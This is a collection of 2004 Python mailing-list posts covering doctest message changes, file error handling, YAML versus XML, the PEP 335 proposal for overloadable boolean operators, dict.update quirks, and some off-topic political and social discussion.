	<1gjj6pv.jq35ww5lr1jvN%aleaxit@yahoo.com>
	<uk6vbmcru.fsf@fitlinxx.com>
Message-ID: <1gjlbg6.1kw163nlpganwN%aleaxit@yahoo.com>

David Bolen <db3l at fitlinxx.com> wrote:
   ...
> The one failure that I don't think you could easily anticipate is a
> change in the actual exception message - for example the "r('shuf',
> 'astring')" test wants a TypeError saying "object doesn't support item
> assignment", but 2.4 changes that to "object does not support item
> assignment".

Yeah, doctest IS prone to this sort of issue, sigh -- wording of error
messages keeps changing, in ways either subtle or major.  I gather that
2.4 doctest has a "skip" indicator (an ellipsis I believe) to help with
that, but I don't want to break compatibilty with 2.3...


Alex


From elbertlev at hotmail.com  Sat Sep 11 07:59:57 2004
From: elbertlev at hotmail.com (Elbert Lev)
Date: 11 Sep 2004 04:59:57 -0700
Subject: Shorter checksum than MD5
References: <nJU%c.241102$VH2.12288041@phobos.telenet-ops.be>	<7xfz5rn1w2.fsf@ruckus.brouhaha.com>	<hNX%c.241261$Ch3.12334176@phobos.telenet-ops.be>	<7xllfjfe9m.fsf@ruckus.brouhaha.com>	<9418be08.0409100656.516fef2d@posting.google.com>
	<mailman.3182.1094879870.5135.python-list@python.org>
Message-ID: <9418be08.0409110359.4e8aac81@posting.google.com>

Tim Peters <tim.peters at gmail.com> wrote in message news:<mailman.3182.1094879870.5135.python-list at python.org>...
> [Paul Rubin]

Very good. But I beleive, he did not mentioned a "hostile environment".


From snail at objmedia.demon.co.uk  Tue Sep 21 12:06:16 2004
From: snail at objmedia.demon.co.uk (Stephen Kellett)
Date: Tue, 21 Sep 2004 17:06:16 +0100
Subject: up with PyGUI!
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com> <1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com> <1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<m37jqvvypt.fsf@g2ctech.com> <1gk7753.1c973iatj1rtuN%aleaxit@yahoo.com>
	<m3ekl1398l.fsf@g2ctech.com>
	<1gk91v9.1k6244t1tmaymsN%aleaxit@yahoo.com>
	<Xns956AFB77A085JanC@213.118.38.197>
Message-ID: <6$qxy2J4FFUBFwrz@objmedia.demon.co.uk>

In message <Xns956AFB77A085JanC at 213.118.38.197>, JanC 
<usenet_spam at janc.invalid> writes
>This is probably not only Apple's fault.  Most local music distribution
>rights are owned by different, local companies that don't want to lose
>their possible income/power, so online music stores like Apple often have
>to make separate agreements per country...

Indeed, try purchasing Hevia's music in the UK. There are no 
distributors because the rights are not available in the UK. It is very 
hard to get his music in the UK, but go to Northern Spain (Galicia, 
Asturias) and you can't move for falling over his music.

Stephen
-- 
Stephen Kellett
Object Media Limited    http://www.objmedia.demon.co.uk
RSI Information:        http://www.objmedia.demon.co.uk/rsi.html


From pmaupin at speakeasy.net  Mon Sep 20 20:33:47 2004
From: pmaupin at speakeasy.net (Patrick Maupin)
Date: 20 Sep 2004 17:33:47 -0700
Subject: Electronic voting feasibility
References: <chses7$cha@odah37.prod.google.com>
	<VVk0d.2788$xA1.852@newsread3.news.pas.earthlink.net>
	<653b7547.0409181444.41e0d131@posting.google.com>
	<c0mtk0ldsjhdaooegqberl5501ldh6nue2@4ax.com>
Message-ID: <653b7547.0409201633.5216dfef@posting.google.com>

Christos "TZOTZIOY" Georgiou wrote:

> ISTM that Andrew (and Greg, initially) used the word "sound" as an
> adjective (~ "firm", "secure") and not as a noun ("sound" as what we
> hear).  So either you understood "sonic cryptography" or I missed the
> joke :)

Well, it _was_ a particularly lame joke, and there is no real defense
for that.

But I was confused why you thought I was using "sound" as a noun
rather than as an adjective, until I looked it up online.  I don't
know what particular resource you use, but I was mystified to find
that www.m-w.com does not have an entry for an adjective "sound"
meaning "acoustic."  I find this baffling -- not only is this an
extremely common usage (IMO), but in the dictionary itself, one of the
entries in the definition for "acoustic" refers to "sound waves"!

I guess I should find a better resource.  After all, their thesaurus
doesn't even know what a "synonym" is:

http://www.m-w.com/cgi-bin/thesaurus?book=Thesaurus&va=synonym&x=0&y=0

Regards,
Pat


From steve at holdenweb.com  Thu Sep 30 10:37:49 2004
From: steve at holdenweb.com (Steve Holden)
Date: Thu, 30 Sep 2004 10:37:49 -0400
Subject: File handling: The easy and the hard way
In-Reply-To: <pan.2004.09.30.13.56.48.18412@web.de>
References: <pan.2004.09.30.13.56.48.18412@web.de>
Message-ID: <_WU6d.1785$TY2.1104@lakeread04>

Hans-Joachim Widmaier wrote:

> Hi all.
> 
> Handling files is an extremely frequent task in programming, so most
> programming languages have an abstraction of the basic files offered by
> the underlying operating system. This is indeed also true for our language
> of choice, Python. Its file type allows some extraordinary convenient
> access like:
> 
>     for line in open("blah"):
>         handle_line(line)
> 
> While this is very handy for interactive usage or throw-away scripts, I'd
> consider it a serious bug in a "production quality" software. Tracebacks
> are fine for programmers, but end users really never should see any.
> Especially not when the error is not in the program itself, but rather
> just a mistyped filename. (Most of my helper scripts that we use to
> develop software handle files this way. And even my co-workers don't
> recognize 'file or directory not found' for what it is.) End users are
> entitled to error messages they can easily understand like "I could not
> open 'blaah' because there is no such file". Graceful error handling is
> even more important when a program isn't just run on a command line but
> with a GUI.
> 
I agree we really shouldn't expect users to have to see tracebacks, but 
that doesn't mean that exception handling has to be sophisticated.

Here's something I'd consider acceptable, which doesn't add hugely to 
the programming overhead for multiple files but doesn't burden the user 
with horrible tracebacks. I've used it to print itself, so you see how 
it works and what it contains all in the same output:

sholden at DELLBOY ~
$ ./ft.py one.py ft.py
Problem handling file one.py : [Errno 2] No such file or directory: 'one.py'
#!/usr/bin/python
#
# ft.py: simple multi-file processor with error handling
#
import sys

files = sys.argv[1:]

for f in files:
     try:
         for l in file(f):
             sys.stdout.write(l)
     except Exception, reason:
         print >> sys.stderr, "Problem handling file", f, ":", reason

I'm quite happy to let the process-termination housekeeping code, or 
perhaps (in some implementations) the Python housekeeping at garbage 
collection, close the file, which you might think is unduly sloppy. What 
can I say, the user pays if they don't want sloppy :-). But I'd consider 
this sufficiently close to "production quality" to be delivered to 
end-users. Clearly you can add file assignment to a variable and a 
try/finally to ensure it's closed. You gets what you pays for.

Naturally, if recovery is required rather than just error-reporting then 
the situation can be expected to be a little more complicated.

> Which means? Which means that all this convenient file handling that
> Python offers really should not be used in programs you give away. When I
> asked for a canonical file access pattern some months ago, this was the
> result:
> http://groups.google.com/groups?hl=de&lr=&ie=UTF-8&threadm=pan.2003.12.30.21.32.37.195763%40web.de&rnum=1&prev=/groups%3Fhl%3Dde%26lr%3D%26ie%3DUTF-8%26q%3Dfile%2Bpattern%2Bcanonical%26btnG%3DSuche%26meta%3D
> 
> Now I have some programs that read and write several files at once. And
> the reading and writing is done all over the place. If I really wanted to
> do it "right", my once clear and readily understandable code turns into a
> nightmare. This doesn't look like the language I love for its clarity and
> expressivness any more.

Well, the more complex your processing gets the more complex your 
error-handling gets too, but I'd say you should look at some serious 
refactoring here - you appear to have what's sometimes called a "code 
smell" in extreme programming circles. See

     http://c2.com/cgi/wiki/?CodeSmell

You also appear to have a good nose, one of the distinctive properties 
of the conscientious programmer.

 >                   Python, being a very high level language, needs a
> higher level file type, IMHO. This is, of course, much easier said than
> done. And renown dimwits like me aren't expected to come up with solutions.

Don't talk yourself down! You have already shown sound instinct.

> I've thought about subclassing file, but to me it looks like it wouldn't
> help much. With all this try/except framing you need to insert a call
> level anyway (wondering if this new decorator stuff might help?). The best
> I've come up so far is a vague idea for an error callback (if there isn't
> one, the well known exceptions might be raised) that gets called for
> whatever error occured, like:
> 
> class File:
>     ...
>     def write(self, data):
>         while True:
>             try:
>                 self._write(data)
>             except IOError, e:
>                 if self.errorcallback:
>                     ret, dat = self.errorcallback(self, F_WRITE, e, data)
>                     if ret == F_RETURN:
>                         return dat
>                 else:
>                     raise
> 
> The callback could then write a nice error message, abort the program,
> maybe retry the operation (that's what the 'while True'-loop is for) or
> return whatever value to the original caller. Although the callback
> function will usually be more than a few lines, it can be reused. It can
> even be packed into your own file-error-handling module, something the
> original usage pattern can't.
> 
The problem that any such approach is likely to have can be summed up as 
"If processing is complicated then error-handling may also become 
complicated, and error-recovery even more so". You shouldn't expect it 
to be too simple, but if it's too complex then you might find that a 
restructuring of your program will yield better results.

> If you still bear with me, you might as well sacrifice a few more seconds
> and tell me what you think about my rant. Is everything just fine as it is
> now? Or do I have a point? I always felt it most important to handle all
> errors a program may encounter gracefully, and the easier this is to do,
> the less likely it is a programmer will just sneak around the issue and
> let the interpreter/run time system/operating system handle it. (And yes,
> I'm guilty of not obeying it myself, as it can double or triple the time
> needed to write the whole program; just because its so cumbersome.)
> 
There's an old rule-of-thumb, which may come from "The Mythical 
Man-Month", still quite a worthwhile read though probably at least 30 
years old now. Or it may not. It states that you can expect to spend 
three times as much effort producing a program product (something to be 
delivered to end-users) as producing a program (something you plan to 
use yourself, and write accordingly); and that a further factor of three 
is required to produce a programmed system product (a collection of 
programs which work together as a system and will be delivered to 
end-users) over just producing the program products individually.

This combined factor of nine is often referred to as "engineering 
effort", and includes

a) The creative exercise of imagination sufficient to anticipate the 
usual and unusual failure cases;
b) The creative exercise of programming skill sufficient to ensure that 
the failure cases still result in acceptable system behavior; and
c) The creative exercise of political skill sufficient to persuade a 
reluctant management that steps a) and b) are worth paying for.

The combination of all three components is to be found in beasts 
sometimes known as "software engineers", frequently held by some to be 
mythical.

If I were feeling cynical, I might sum this up by saying "Python is a 
programming language, not a f***ing magic wand". But that won't stop 
people from looking for the silver bullet that solves all their problems 
in a songle line of code.

Hope this helps, and doesn't come across as critical. Your questions are 
reasonable, and show a sincere appreciation of the difficulties of 
producing high-quality software. And we don't ever want anything else, 
do we?

regards
  Steve


From firstname at lastname.pr1v.n0  Fri Sep 10 14:56:01 2004
From: firstname at lastname.pr1v.n0 (Morten Reistad)
Date: Fri, 10 Sep 2004 20:56:01 +0200
Subject: Xah Lee's Unixism
References: <3vahj09m887i64osgm65bhhh6l9tl6j38a@4ax.com>
	<4140A885.90B945AC@yahoo.com> <4jkqhc.p7p1.ln@via.reistad.priv.no>
	<1oh3k01cieht04nmfo27pvihg8teme0mdt@4ax.com>
Message-ID: <1ctshc.kd52.ln@via.reistad.priv.no>

In article <1oh3k01cieht04nmfo27pvihg8teme0mdt at 4ax.com>,
Alan Balmer  <albalmer at spamcop.net> wrote:
>On Fri, 10 Sep 2004 00:13:56 +0200, Morten Reistad
><firstname at lastname.pr1v.n0> wrote:
>
>>>However Bush is demonstrably poor.  He ignored the warnings from
>>>the CIA, FBI, outgoing Clinton administration about imminent
>>>attacks.  He was focused on attacking Saddam and Iraq from the
>>>first, and perverted 9/11 into that at the earliest opportunity. 
>>>He has offended many more than most of his predecessors.  I will
>>>say that he seems to have learned the names of some foreign
>>>leaders since being elected.
>>
>>Bush has had an agenda all right; but I don't quite get what it is. 
>>
>And, of course, entertaining the possibility that his agenda is just
>what he says it is, is completely out of the question.

I just cannot understand what he wanted to do with Iraq, so fast and
with such a limited expedition corps. 

If we for a moment give them the benefit of the doubt and assume that
Iraq WAS a hotbed of terrorists buiding WMD's. There may after all be
some information they cannot tell us. This would explain the
hurry and the go-it-alone tactic. In that case , why wasn't the place
hit a lot harder; int the Nixon/Pinochet style? Why a PHB like Bremer?
Why not a real tough army goy the first couple of months? I just cannot
make sense of this scenario.

On the other hand, it may be a wish to liberate Iraq from the ravages
of Saddam, and a final round of being pissed at Saddam repeatedly 
flouting the ceasefire agreement. This is a perfectly legitimate 
reason to escalate the war again (it is the same war, there was never
a peace agreement, only a cease-fire). In that case a few rounds of
UN song and dance could be done while a new coalition was built; with 
the US taking around a fourth of the cost and manpower, like last time.
This could be convincingly sold to the Iraqi populace as a liberation.

So, I don't get it if the agenda is just what is spoken. If the agenda
is to make way for Israel scenario #2 would still be a better one.

Contrast this with Afghanistan, where there was a pretty high urgency
to get the al-Quaeda and the Taliban before they moved with another 
terrorist monstrosity. Yet, a large alliance was built, NATO was used
as far as it could be stretched. the UN was in on it; and the US ended
taking around half the cost and supplying a fifth of the manpower. 
With a similar strategy in Iraq the US could have resources left over
to handle North Korea, Sudan, Sierra Leone with less expenditure than
what you ended up with. 

I just don't get it. The stated agenda is either misstated, or grossly
misimplemented.


-- mrr


From bvande at po-box.mcgill.ca  Thu Sep 16 12:18:52 2004
From: bvande at po-box.mcgill.ca (Brian van den Broek)
Date: Thu, 16 Sep 2004 12:18:52 -0400
Subject: up with PyGUI!
In-Reply-To: <IWf2d.33080$D7.2368@news-server.bigpond.net.au>
References: <mailman.3318.1095180577.5135.python-list@python.org>
	<m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de>
	<m3isaf1xki.fsf@g2ctech.com>
	<1gk5wxv.1rnwtamytx5m5N%aleaxit@yahoo.com>
	<m3pt4nwa84.fsf@g2ctech.com>
	<1gk6ivk.p08pluiee64dN%aleaxit@yahoo.com>
	<mailman.3388.1095291463.5135.python-list@python.org>
	<1gk76qq.kwo4dz1cftwe3N%aleaxit@yahoo.com>
	<IWf2d.33080$D7.2368@news-server.bigpond.net.au>
Message-ID: <4149BCEC.8050901@po-box.mcgill.ca>

Neil Hodgson said unto the world upon 2004-09-16 08:46:
> Alex Martelli:
> 
> 
>>Developing a tool such as, say,
>>BlackAdder or WingIDE, should cost MUCH less over there, yet if sales
>>are all done through the net it should not matter at all whether a tool
>>is written in Brazil or Norway.
>>
>>Clearly it's not happening.  Even third-world countries with HUGE
>>presence in the IT industry, such as India, are totally concentrating on
>>developing custom applications, not tools for resale via the net.  As
>>far as I know all commercial IDE's and other tools of that ilk come from
>>Canada, the US, and the rich parts of Europe.  It's a puzzlement!
> 
> 
>    Much of development staff at theKompany are located in Romania and
> Ukraine. I've worked on development tool projects where most of the software
> was developed in Egypt and India although the brand on the products appeared
> USAn.
> 
> http://linuxtoday.com/news_story.php3?ltsn=2000-10-15-012-20-PS-BZ-KE
> 
>    Neil

Hi all,

I don't agree with Alex that it is a puzzlement and I think that Neil's 
reply points the way to the answer.

I think it is pretty clearly due to sentiments found on the
chauvinism <----> racism continuum.

I have met here in Canada more than a few manual labourers, cab drivers, 
etc. who hold advanced degrees from perfectly good universities which 
have the "misfortune" to be located somewhere "not white enough" for the 
degree to count. Similarly, I have seen otherwise sensible people 
express reservations about software because it was produced in Russia, 
India, or some other country insufficiently close to the "western first 
world".

As someone outside the industry, it seems to me that custom software, 
being more expensive to produce per unit is the domain where the lower 
wages paid in, say, India, as compared to, say, Redmond or San Francisco 
are able to surmount the reflex to "go first world". It also seems that 
much of the IT outsourcing to developing nations is as much about the 
developing nations coders using the NA firm's name to gain 
"respectability" as it is about the firms using them for cheap coding.

(Flame retardant -- all quoted phrases are mentioned, not endorsed.)

Best to all,

Brian vdB


From steve at holdenweb.com  Sun Sep 26 12:50:45 2004
From: steve at holdenweb.com (Steve Holden)
Date: Sun, 26 Sep 2004 12:50:45 -0400
Subject: Electronic voting feasibility
In-Reply-To: <mailman.3698.1095825815.5135.python-list@python.org>
References: <chses7$cha@odah37.prod.google.com>	<VVk0d.2788$xA1.852@newsread3.news.pas.earthlink.net>	<653b7547.0409181444.41e0d131@posting.google.com>	<c0mtk0ldsjhdaooegqberl5501ldh6nue2@4ax.com>	<653b7547.0409201633.5216dfef@posting.google.com>	<mailman.3626.1095756127.5135.python-list@python.org>	<653b7547.0409211847.931e78d@posting.google.com>
	<mailman.3698.1095825815.5135.python-list@python.org>
Message-ID: <4156F365.8020405@holdenweb.com>

Andrew Durdin wrote:

> On 21 Sep 2004 19:47:42 -0700, Patrick Maupin <pmaupin at speakeasy.net> wrote:
> 
> if nitpicking['grammar']:
>  
>    > You're absolutely right -- in English just about any
>    > noun can be used as an adjective
> 
>    No. Both nouns and adjectives can be used as
>    attributive modifiers; what distinguishes them is that
>    adjectives are limited to that context, whereas nouns
>    can also be used as substantives.

In English [and, particularly, in "American English"] it is just as 
common to see people verbing nouns as it is to see them nouning verbs.

I normally interpret a disregard for the basics of English as an 
indication of sloppy thinking, but on the Net I try to respect the 
possibility that English is often not the first language of correspondents.

I am also much more tolerant of rule breakage when I see evidence that 
the correspondent knows that the rules *are* - rules are, after all, 
made to be broken.

I thought that "sonic cryptography" was a good enough pun to elicit a 
small groan. But you have to remember I'm from the scholl that believes 
a pun is no good enough it doesn't make at least some people groan.

regards
  Steve


From chrisks at NOSPAM.udel.edu  Wed Sep 22 16:38:45 2004
From: chrisks at NOSPAM.udel.edu (Chris S.)
Date: Wed, 22 Sep 2004 20:38:45 GMT
Subject: PyYaml?
In-Reply-To: <Xr2dnZnd_8V3KMzcRVn-gg@giganews.com>
References: <2IO2d.1086$HH5.1025@trndny05>
	<87r7oyfy78.fsf@blakie.riol>	<l3c3d.1327$HH5.1125@trndny05>	<4zh3d.1816$qA6.1123@newsread3.news.pas.earthlink.net>	<uCo3d.4230$4j1.460@trndny06>	<BIu3d.5370$gG4.2667@newsread1.news.pas.earthlink.net>
	<mailman.3590.1095709523.5135.python-list@python.org>
	<Xr2dnZnd_8V3KMzcRVn-gg@giganews.com>
Message-ID: <ppl4d.3434$Ec4.209@trndny04>

Istvan Albert wrote:

> IMHO you are already too focused on some specific use cases (invoices etc)
> and you'll do probably better if you'd move your entire effort
> to that direction.
> 
> What you are proposing, whitespace as a markup is not nearly as readable
> as XML when the dependancy tree gets more complicated. Just because
> whitespace indentation work for programming it does not mean
> it works for data too.

XML was designed as a general purpose method of data description, and so 
suffers from the requirement of having to explicitly tag everything and 
define the meaning of each of these tags. This introduces tremendous 
inefficiency, especially with large, yet even small data structures. For 
an example, data={'abc':[1,2,3]} (20 bytes), takes 38 bytes to store 
with YAML, 41 bytes to store with Pickle, and 416 bytes to store with 
XML (using xml_pickle module by David Mertz). I'd agree that readability 
is hindered by complex dependencies, but XML's overly verbose syntax is 
unreadable for even simple data IMHO. I've yet to find a situation where 
any supposedly readable format doesn't benefit from whitespace 
indentation or simplistic notation, two aspects YAML enjoys.

data={'abc':[1,2,3]}

---
abc:
     - 1
     - 2
     - 3

(dp1
S'abc'
p2
(lp3
I1
aI2
aI3
as.

<?xml version="1.0"?>
<!DOCTYPE PyObject SYSTEM "PyObjects.dtd">
<PyObject class="XML_Pickler" id="12405096">
<attr name="stuff" type="dict" id="13060256">
   <entry>
     <key type="string" value="abc" />
     <val type="list" id="12976528">
       <item type="numeric" value="1" />
       <item type="numeric" value="2" />
       <item type="numeric" value="3" />
     </val>
   </entry>
</attr>
</PyObject>


From newsgroups at jhrothjr.com  Sat Sep 11 15:20:34 2004
From: newsgroups at jhrothjr.com (John Roth)
Date: Sat, 11 Sep 2004 14:20:34 -0500
Subject: PEP 335: Overloadable Boolean Operators - Official Posting
References: <2qccb9Fuac61U1@uni-berlin.de>
Message-ID: <10k6k1f823r64ae@news.supernews.com>

It's certainly an interesting PEP. I've got some comments off the
top.

One is that I'm not at all certain that I like the notion of
'and' and 'or' sometimes short circuiting and sometimes
not, especially since you can't reliably predict when it will
and when it won't if the program is playing fast and loose
with typing.

A second comment is that I think you need seven slots - the
'rand2' and 'ror2' slots seem to be missing.

A third comment is that I think the 'and1' and 'or1'
should return either True or False, meaning 'short
circuit with the current value on top of the stack',
or 'continue with the evaluation with the current
value on top of the stack'. I'd like to see a discussion
of why this (IMO conceptually simpler) option
wasn't chosen. In particular, I really don't like the
idea that and1 and or1 can arbitrarily change the result
of the first expression evaluation.

John Roth


"Greg Ewing" <greg at cosc.canterbury.ac.nz> wrote in message 
news:2qccb9Fuac61U1 at uni-berlin.de...
> PEP: 335
> Title: Overloadable Boolean Operators
> Version: $Revision: 1.2 $
> Last-Modified: $Date: 2004/09/09 14:17:17 $
> Author: Gregory Ewing <greg at cosc.canterbury.ac.nz>
> Status: Draft
> Type: Standards Track
> Content-Type: text/x-rst
> Created: 29-Aug-2004
> Python-Version: 2.4
> Post-History: 05-Sep-2004
>
>
> Abstract
> ========
>
> This PEP proposes an extension to permit objects to define their own
> meanings for the boolean operators 'and', 'or' and 'not', and suggests
> an efficient strategy for implementation.  A prototype of this
> implementation is available for download.
>
>
> Background
> ==========
>
> Python does not currently provide any '__xxx__' special methods
> corresponding to the 'and', 'or' and 'not' boolean operators.  In the
> case of 'and' and 'or', the most likely reason is that these operators
> have short-circuiting semantics, i.e. the second operand is not
> evaluated if the result can be determined from the first operand.  The
> usual technique of providing special methods for these operators
> therefore would not work.
>
> There is no such difficulty in the case of 'not', however, and it
> would be straightforward to provide a special method for this
> operator.  The rest of this proposal will therefore concentrate mainly
> on providing a way to overload 'and' and 'or'.
>
>
> Motivation
> ==========
>
> There are many applications in which it is natural to provide custom
> meanings for Python operators, and in some of these, having boolean
> operators excluded from those able to be customised can be
> inconvenient.  Examples include:
>
> 1. Numeric/Numarray, in which almost all the operators are defined on
>    arrays so as to perform the appropriate operation between
>    corresponding elements, and return an array of the results.  For
>    consistency, one would expect a boolean operation between two
>    arrays to return an array of booleans, but this is not currently
>    possible.
>
>    There is a precedent for an extension of this kind: comparison
>    operators were originally restricted to returning boolean results,
>    and rich comparisons were added so that comparisons of Numeric
>    arrays could return arrays of booleans.
>
> 2. A symbolic algebra system, in which a Python expression is
>    evaluated in an environment which results in it constructing a tree
>    of objects corresponding to the structure of the expression.
>
> 3. A relational database interface, in which a Python expression is
>    used to construct an SQL query.
>
> A workaround often suggested is to use the bitwise operators '&', '|'
> and '~' in place of 'and', 'or' and 'not', but this has some
> drawbacks.  The precedence of these is different in relation to the
> other operators, and they may already be in use for other purposes (as
> in example 1).  There is also the aesthetic consideration of forcing
> users to use something other than the most obvious syntax for what
> they are trying to express.  This would be particularly acute in the
> case of example 3, considering that boolean operations are a staple of
> SQL queries.
>
>
> Rationale
> =========
>
> The requirements for a successful solution to the problem of allowing
> boolean operators to be customised are:
>
> 1. In the default case (where there is no customisation), the existing
>    short-circuiting semantics must be preserved.
>
> 2. There must not be any appreciable loss of speed in the default
>    case.
>
> 3. If possible, the customisation mechanism should allow the object to
>    provide either short-circuiting or non-short-circuiting semantics,
>    at its discretion.
>
> One obvious strategy, that has been previously suggested, is to pass
> into the special method the first argument and a function for
> evaluating the second argument.  This would satisfy requirements 1 and
> 3, but not requirement 2, since it would incur the overhead of
> constructing a function object and possibly a Python function call on
> every boolean operation.  Therefore, it will not be considered further
> here.
>
> The following section proposes a strategy that addresses all three
> requirements.  A `prototype implementation`_ of this strategy is
> available for download.
>
> .. _prototype implementation:
>    http://www.cosc.canterbury.ac.nz/~greg/python/obo//Python_OBO.tar.gz
>
>
> Specification
> =============
>
> Special Methods
> ---------------
>
> At the Python level, objects may define the following special methods.
>
> ===============  =================  ========================
> Unary            Binary, phase 1    Binary, phase 2
> ===============  =================  ========================
> * __not__(self)  * __and1__(self)   * __and2__(self, other)
>                  * __or1__(self)    * __or2__(self, other)
>                                     * __rand2__(self, other)
>                                     * __ror2__(self, other)
> ===============  =================  ========================
>
> The __not__ method, if defined, implements the 'not' operator.  If it
> is not defined, or it returns NotImplemented, existing semantics are
> used.
>
> To permit short-circuiting, processing of the 'and' and 'or' operators
> is split into two phases.  Phase 1 occurs after evaluation of the first
> operand but before the second.  If the first operand defines the
> appropriate phase 1 method, it is called with the first operand as
> argument.  If that method can determine the result without needing the
> second operand, it returns the result, and further processing is
> skipped.
>
> If the phase 1 method determines that the second operand is needed, it
> returns the special value NeedOtherOperand.  This triggers the
> evaluation of the second operand, and the calling of an appropriate
> phase 2 method. During phase 2, the __and2__/__rand2__ and
> __or2__/__ror2__ method pairs work as for other binary operators.
>
> Processing falls back to existing semantics if at any stage a relevant
> special method is not found or returns NotImplemented.
>
> As a special case, if the first operand defines a phase 2 method but
> no corresponding phase 1 method, the second operand is always
> evaluated and the phase 2 method called.  This allows an object which
> does not want short-circuiting semantics to simply implement the
> relevant phase 2 methods and ignore phase 1.
>
>
> Bytecodes
> ---------
>
> The patch adds four new bytecodes, LOGICAL_AND_1, LOGICAL_AND_2,
> LOGICAL_OR_1 and LOGICAL_OR_2.  As an example of their use, the
> bytecode generated for an 'and' expression looks like this::
>
>             .
>             .
>             .
>             evaluate first operand
>             LOGICAL_AND_1  L
>             evaluate second operand
>             LOGICAL_AND_2
>        L:   .
>             .
>             .
>
> The LOGICAL_AND_1 bytecode performs phase 1 processing.  If it
> determines that the second operand is needed, it leaves the first
> operand on the stack and continues with the following code.  Otherwise
> it pops the first operand, pushes the result and branches to L.
>
> The LOGICAL_AND_2 bytecode performs phase 2 processing, popping both
> operands and pushing the result.
>
>
> Type Slots
> ----------
>
> A the C level, the new special methods are manifested as five new
> slots in the type object.  In the patch, they are added to the
> tp_as_number substructure, since this allowed making use of some
> existing code for dealing with unary and binary operators.  Their
> existence is signalled by a new type flag,
> Py_TPFLAGS_HAVE_BOOLEAN_OVERLOAD.
>
> The new type slots are::
>
>     unaryfunc nb_logical_not;
>     unaryfunc nb_logical_and_1;
>     unaryfunc nb_logical_or_1;
>     binaryfunc nb_logical_and_2;
>     binaryfunc nb_logical_or_2;
>
>
> Python/C API Functions
> ----------------------
>
> There are also five new Python/C API functions corresponding to the
> new operations::
>
>     PyObject *PyObject_LogicalNot(PyObject *);
>     PyObject *PyObject_LogicalAnd1(PyObject *);
>     PyObject *PyObject_LogicalOr1(PyObject *);
>     PyObject *PyObject_LogicalAnd2(PyObject *, PyObject *);
>     PyObject *PyObject_LogicalOr2(PyObject *, PyObject *);
>
>
> Copyright
> =========
>
> This document has been placed in the public domain.
>
>
> ..
>    Local Variables:
>    mode: indented-text
>    indent-tabs-mode: nil
>    sentence-end-double-space: t
>    fill-column: 70
>    End:
> 




From bokr at oz.net  Sat Sep 11 00:15:32 2004
From: bokr at oz.net (Bengt Richter)
Date: 11 Sep 2004 04:15:32 GMT
Subject: string formatting with mapping & '*'...  is this a bug?
References: <20040909140649.6d2eff6e@gypsy.pfortin.com>
	<Xns955F779C04101OKB@130.133.1.4>
	<20040909152328.2233c917@gypsy.pfortin.com>
	<chqjc3$n2o$00$1@news.t-online.com>
	<1gjvffn.1bzib2wjohb3aN%aleaxit@yahoo.com>
	<20040909183705.69696290@gypsy.pfortin.com>
	<1gjw1ih.2x26851nz2m54N%aleaxit@yahoo.com>
	<20040910064659.7a1c66af@gypsy.pfortin.com>
	<1gjwfl1.i046071x80ul9N%aleaxit@yahoo.com>
	<20040910093156.4cfcb6ff@gypsy.pfortin.com>
	<1gjwo5q.meek2hr5madpN%aleaxit@yahoo.com>
	<20040910114048.4c68a21c@gypsy.pfortin.com>
	<1gjx7qu.1rhsiun1grmnzlN%aleaxit@yahoo.com>
Message-ID: <chtu54$kgp$0$216.39.172.122@theriver.com>

On Fri, 10 Sep 2004 23:39:26 +0200, aleaxit at yahoo.com (Alex Martelli) wrote:

>Pierre Fortin <pfortin at pfortin.com> wrote:
>   ...
>> > >          self.__dict__.update(locals())
>> > 
>> > Ah, sorry, my favourite idiom to avoid the boilerplate of
>> > 
>> >     def __init__(self, fee, fie, foo, fum):
>> >         self.fee = fee
>> >         self.fie = fie
>> >         self.foo = foo
>> >         self.fum = fum
>> > 
>> > Boilerplate is bad, and I'm keen on "Once, and ONLY once!" as a
>> > programming practice, so having to mention each of those names three
>> > times in totally repetitive ways makes me shiver.  My favourite idiom
>> 
>> I fully agree with "once and ONLY once"...  but you've pointed out that
>> "not-at-all is better than once"... :^)
>
>Well, there is 'once' here -- the names of the attributes are listed
>once, in the argument list of 'def __init__'
>
>> > does, per se, leave a silly self.self around (which means a silly
>> > reference loop) so I should remember to 'del self.self' after it...
>> 
>> Since "self" is a convention (could use "this"), t'would be nice if Python
>> could avoid foo.foo ref. loops in a future release...
>
>I don't see how to do that cleanly, simply and within general rules.
>"Special cases are not special enough to break the rules"...
>

You could use a helper function to strip out the name, which you know
anyway if you know to write this.__dict__ or self.__dict__, e.g.,

 >>> def updd(firstname, locd):
 ...     sansfirst = locd.copy()
 ...     del sansfirst[firstname]
 ...     locd[firstname].__dict__.update(sansfirst)
 ...
 >>> class C(object):
 ...     def __init__(a1,a2,a3): updd('a1',locals())
 ...
 >>> c=C(2,3)
 >>> vars(c)
 {'a3': 3, 'a2': 2}

The locd.copy etc could be replaced by not using update. Actually, you could
probably inherit from a class with a metaclass that would let you write
just def __init__(a1, a2, a3): pass and have all the methods' __init__s
appropriately modified.

BTW, do you know offhand why somedict.update(obj) seems to use obj.keys() and
obj.__getitem__ if obj has object as base, but not if it has dict as base?
Ran into that trying to wrap locals() to filter out self or whatever:

 >>> class D(dict):
 ...     def keys(self): return [1,2,3]
 ...     def __getitem__(self, key): return 2*key
 ...
 >>> dd = D({'a':123})
 >>> dd.keys()
 [1, 2, 3]
 >>> dd[5]
 10
 >>> dd
 {'a': 123}
 >>> d={}
 >>> d.update(dd)
 >>> d
 {'a': 123}

Ok, now this:
 >>> class E(object):
 ...     def keys(self): return [1,2,3]
 ...     def __getitem__(self, key): return 2*key
 ...     def __init__(self, *a): print a
 ...
 >>> ee = E({'a':123})
 ({'a': 123},)
 >>> ee.keys()
 [1, 2, 3]
 >>> ee[3]
 6
 >>> ee
 <__main__.E object at 0x009C72F0>
 >>> e={}
 >>> e.update(ee)
 >>> e
 {1: 2, 2: 4, 3: 6}

The methods are there and do override the keys and __getitem__ of dict:
 >>> dd.keys(), ee.keys()
 ([1, 2, 3], [1, 2, 3])
 >>> dd[5], ee[5]
 (10, 10)


But that d.update(dd) doesn't match what you'd think from
 ----
 >>> help({}.update)
 Help on built-in function update:

 update(...)
     D.update(E) -> None.  Update D from E: for k in E.keys(): D[k] = E[k]
 ----

I see
 >>> D.mro()
 [<class '__main__.D'>, <type 'dict'>, <type 'object'>]
